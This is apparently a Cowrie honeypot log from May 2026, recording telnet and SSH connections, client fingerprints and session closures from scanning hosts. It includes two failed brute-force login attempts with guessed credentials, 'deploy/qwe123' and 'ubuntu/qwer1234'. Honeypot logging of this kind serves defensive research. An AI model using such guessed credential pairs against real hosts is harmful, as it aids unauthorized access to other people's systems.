{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44116,"dst_ip":"10.17.0.5","dst_port":23,"session":"fac639a8d280","protocol":"telnet","message":"New connection: 38.54.119.93:44116 (10.17.0.5:23) [session: fac639a8d280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:47.999522Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54888,"dst_ip":"10.17.0.5","dst_port":23,"session":"78dfae0fcd3f","protocol":"telnet","message":"New connection: 62.210.97.77:54888 (10.17.0.5:23) [session: 78dfae0fcd3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:48.250585Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.96.186.192","src_port":51426,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a20bea5f266","protocol":"telnet","message":"New connection: 179.96.186.192:51426 (159.203.135.109:23) [session: 5a20bea5f266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:51.872308Z"}
{"eventid":"cowrie.session.closed","duration":31.913776397705078,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:51.898412Z","src_ip":"62.210.97.77","session":"ca780b22f46f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":59436,"dst_ip":"10.17.0.5","dst_port":23,"session":"8306d29fd2b2","protocol":"telnet","message":"New connection: 65.60.27.33:59436 (10.17.0.5:23) [session: 8306d29fd2b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:52.769384Z"}
{"eventid":"cowrie.session.closed","duration":7.173271894454956,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:55.172674Z","src_ip":"38.54.119.93","session":"fac639a8d280","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35786,"dst_ip":"10.17.0.5","dst_port":23,"session":"20c7c0036d59","protocol":"telnet","message":"New connection: 65.60.27.33:35786 (10.17.0.5:23) [session: 20c7c0036d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:45:56.544756Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35520,"dst_ip":"10.17.0.5","dst_port":23,"session":"5797478c6d71","protocol":"telnet","message":"New connection: 62.210.97.77:35520 (10.17.0.5:23) [session: 5797478c6d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:01.094036Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":64283,"dst_ip":"159.203.135.109","dst_port":22,"session":"b28fd9c4beac","protocol":"ssh","message":"New connection: 89.218.69.66:64283 (159.203.135.109:22) [session: b28fd9c4beac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:04.154443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:04.158424Z","src_ip":"89.218.69.66","session":"b28fd9c4beac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.362474203109741,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:04.234630Z","src_ip":"179.96.186.192","session":"5a20bea5f266","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":104.95672798156738,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:04.258104Z","src_ip":"49.88.156.34","session":"f47056281346","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:04.331786Z","src_ip":"89.218.69.66","session":"b28fd9c4beac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35524,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ad56a4b4528","protocol":"telnet","message":"New connection: 62.210.97.77:35524 (10.17.0.5:23) [session: 0ad56a4b4528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:04.403933Z"}
{"eventid":"cowrie.session.closed","duration":39.269487380981445,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:04.923483Z","src_ip":"62.210.97.77","session":"4ff7b32da07e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qwe123","message":"login attempt [deploy/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:05.053012Z","src_ip":"89.218.69.66","session":"b28fd9c4beac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":45254,"dst_ip":"10.17.0.5","dst_port":23,"session":"237c283b1dab","protocol":"telnet","message":"New connection: 65.60.27.33:45254 (10.17.0.5:23) [session: 237c283b1dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:05.508688Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:06.229023Z","src_ip":"89.218.69.66","session":"b28fd9c4beac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.0064480304718,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:08.556848Z","src_ip":"62.210.97.77","session":"be9e1137155d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54474,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc6ee402acb1","protocol":"telnet","message":"New connection: 62.210.97.77:54474 (10.17.0.5:23) [session: bc6ee402acb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:12.203448Z"}
{"eventid":"cowrie.session.closed","duration":46.94453454017639,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:12.432541Z","src_ip":"165.232.131.181","session":"90a92f8f9861","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":33298,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c60732f30e3","protocol":"telnet","message":"New connection: 165.232.131.181:33298 (10.17.0.5:23) [session: 1c60732f30e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:15.044756Z"}
{"eventid":"cowrie.session.closed","duration":0.7542977333068848,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:15.798917Z","src_ip":"165.232.131.181","session":"1c60732f30e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54488,"dst_ip":"10.17.0.5","dst_port":23,"session":"8db1f2d3a0bb","protocol":"telnet","message":"New connection: 62.210.97.77:54488 (10.17.0.5:23) [session: 8db1f2d3a0bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:17.833158Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":60268,"dst_ip":"10.17.0.5","dst_port":23,"session":"77bc11854b20","protocol":"telnet","message":"New connection: 65.60.27.33:60268 (10.17.0.5:23) [session: 77bc11854b20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:18.898379Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51854,"dst_ip":"10.17.0.5","dst_port":23,"session":"57346e22463b","protocol":"telnet","message":"New connection: 62.210.97.77:51854 (10.17.0.5:23) [session: 57346e22463b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:23.266550Z"}
{"eventid":"cowrie.session.closed","duration":41.51636242866516,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:29.766835Z","src_ip":"62.210.97.77","session":"78dfae0fcd3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.364333152770996,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:31.133635Z","src_ip":"65.60.27.33","session":"8306d29fd2b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.611820936203,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:35.705849Z","src_ip":"62.210.97.77","session":"5797478c6d71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60070,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b0fd9d79bf9","protocol":"telnet","message":"New connection: 62.210.97.77:60070 (10.17.0.5:23) [session: 1b0fd9d79bf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:36.240246Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53722,"dst_ip":"10.17.0.5","dst_port":23,"session":"b530898d8afa","protocol":"telnet","message":"New connection: 165.232.131.181:53722 (10.17.0.5:23) [session: b530898d8afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:38.522667Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33312,"dst_ip":"10.17.0.5","dst_port":23,"session":"31ec5bc4a6ae","protocol":"telnet","message":"New connection: 62.210.97.77:33312 (10.17.0.5:23) [session: 31ec5bc4a6ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:38.546172Z"}
{"eventid":"cowrie.session.closed","duration":34.444347858428955,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:38.848167Z","src_ip":"62.210.97.77","session":"0ad56a4b4528","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.43627905845642,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:39.980947Z","src_ip":"65.60.27.33","session":"20c7c0036d59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.311376333236694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:43.514746Z","src_ip":"62.210.97.77","session":"bc6ee402acb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51996,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbdfee1345a0","protocol":"telnet","message":"New connection: 38.54.119.93:51996 (10.17.0.5:23) [session: fbdfee1345a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:45.406030Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33328,"dst_ip":"10.17.0.5","dst_port":23,"session":"00107a156e9e","protocol":"telnet","message":"New connection: 62.210.97.77:33328 (10.17.0.5:23) [session: 00107a156e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:46.094167Z"}
{"eventid":"cowrie.session.closed","duration":41.047168493270874,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:46.555748Z","src_ip":"65.60.27.33","session":"237c283b1dab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33340,"dst_ip":"10.17.0.5","dst_port":23,"session":"19edc6852671","protocol":"telnet","message":"New connection: 62.210.97.77:33340 (10.17.0.5:23) [session: 19edc6852671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:47.032096Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33342,"dst_ip":"10.17.0.5","dst_port":23,"session":"b143fd787024","protocol":"telnet","message":"New connection: 62.210.97.77:33342 (10.17.0.5:23) [session: b143fd787024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:47.660304Z"}
{"eventid":"cowrie.session.closed","duration":3.8177223205566406,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:49.223612Z","src_ip":"38.54.119.93","session":"fbdfee1345a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.608612298965454,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:51.441653Z","src_ip":"62.210.97.77","session":"8db1f2d3a0bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.26860284805298,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:46:57.535024Z","src_ip":"62.210.97.77","session":"57346e22463b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.75817322731018,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:03.656438Z","src_ip":"65.60.27.33","session":"77bc11854b20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34406,"dst_ip":"10.17.0.5","dst_port":23,"session":"408ef05d4f5e","protocol":"telnet","message":"New connection: 62.210.97.77:34406 (10.17.0.5:23) [session: 408ef05d4f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:07.105046Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51676,"dst_ip":"10.17.0.5","dst_port":23,"session":"9893ebaeb35d","protocol":"telnet","message":"New connection: 62.210.97.77:51676 (10.17.0.5:23) [session: 9893ebaeb35d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:08.895074Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":36212,"dst_ip":"10.17.0.5","dst_port":23,"session":"4456468cfc89","protocol":"telnet","message":"New connection: 165.232.131.181:36212 (10.17.0.5:23) [session: 4456468cfc89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:10.524068Z"}
{"eventid":"cowrie.session.closed","duration":0.00884246826171875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:10.532802Z","src_ip":"165.232.131.181","session":"4456468cfc89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.76719927787781,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:12.313267Z","src_ip":"62.210.97.77","session":"31ec5bc4a6ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.74718928337097,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:12.987238Z","src_ip":"62.210.97.77","session":"1b0fd9d79bf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51682,"dst_ip":"10.17.0.5","dst_port":23,"session":"31ece4fb7f3d","protocol":"telnet","message":"New connection: 62.210.97.77:51682 (10.17.0.5:23) [session: 31ece4fb7f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:14.095547Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":39690,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae5fd35f1303","protocol":"telnet","message":"New connection: 165.232.131.181:39690 (10.17.0.5:23) [session: ae5fd35f1303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:15.204308Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":39366,"dst_ip":"10.17.0.5","dst_port":23,"session":"91408dc83e13","protocol":"telnet","message":"New connection: 165.232.131.181:39366 (10.17.0.5:23) [session: 91408dc83e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:15.427429Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51686,"dst_ip":"10.17.0.5","dst_port":23,"session":"900139b55aa3","protocol":"telnet","message":"New connection: 62.210.97.77:51686 (10.17.0.5:23) [session: 900139b55aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:15.564522Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":36762,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e4a9dce38f6","protocol":"telnet","message":"New connection: 65.60.27.33:36762 (10.17.0.5:23) [session: 0e4a9dce38f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:16.349152Z"}
{"eventid":"cowrie.session.closed","duration":32.47773027420044,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:18.571796Z","src_ip":"62.210.97.77","session":"00107a156e9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.545793056488037,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:18.973098Z","src_ip":"165.232.131.181","session":"91408dc83e13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.87298846244812,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:19.395533Z","src_ip":"165.232.131.181","session":"b530898d8afa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.471595287323,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:21.503590Z","src_ip":"62.210.97.77","session":"19edc6852671","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.8384370803833,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:23.498651Z","src_ip":"62.210.97.77","session":"b143fd787024","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":37376,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a06d26c66cf","protocol":"ssh","message":"New connection: 80.94.92.182:37376 (159.203.135.109:22) [session: 8a06d26c66cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:23.944235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:24.100805Z","src_ip":"80.94.92.182","session":"8a06d26c66cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:24.105793Z","src_ip":"80.94.92.182","session":"8a06d26c66cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:24.981390Z","src_ip":"80.94.92.182","session":"8a06d26c66cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:26.214640Z","src_ip":"80.94.92.182","session":"8a06d26c66cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59918,"dst_ip":"10.17.0.5","dst_port":23,"session":"90e6d6ea1d9e","protocol":"telnet","message":"New connection: 62.210.97.77:59918 (10.17.0.5:23) [session: 90e6d6ea1d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:28.556550Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51752,"dst_ip":"10.17.0.5","dst_port":23,"session":"8956389faf67","protocol":"telnet","message":"New connection: 65.60.27.33:51752 (10.17.0.5:23) [session: 8956389faf67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:29.434703Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":45324,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0f392f36bf5","protocol":"telnet","message":"New connection: 165.232.131.181:45324 (10.17.0.5:23) [session: d0f392f36bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:31.293280Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59928,"dst_ip":"10.17.0.5","dst_port":23,"session":"eddf63b189e2","protocol":"telnet","message":"New connection: 62.210.97.77:59928 (10.17.0.5:23) [session: eddf63b189e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:31.526960Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":53954,"dst_ip":"10.17.0.5","dst_port":23,"session":"0604f0f64fda","protocol":"telnet","message":"New connection: 38.54.119.93:53954 (10.17.0.5:23) [session: 0604f0f64fda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:33.086988Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59936,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ce4fc1cabd3","protocol":"telnet","message":"New connection: 62.210.97.77:59936 (10.17.0.5:23) [session: 3ce4fc1cabd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:47:35.094673Z"}
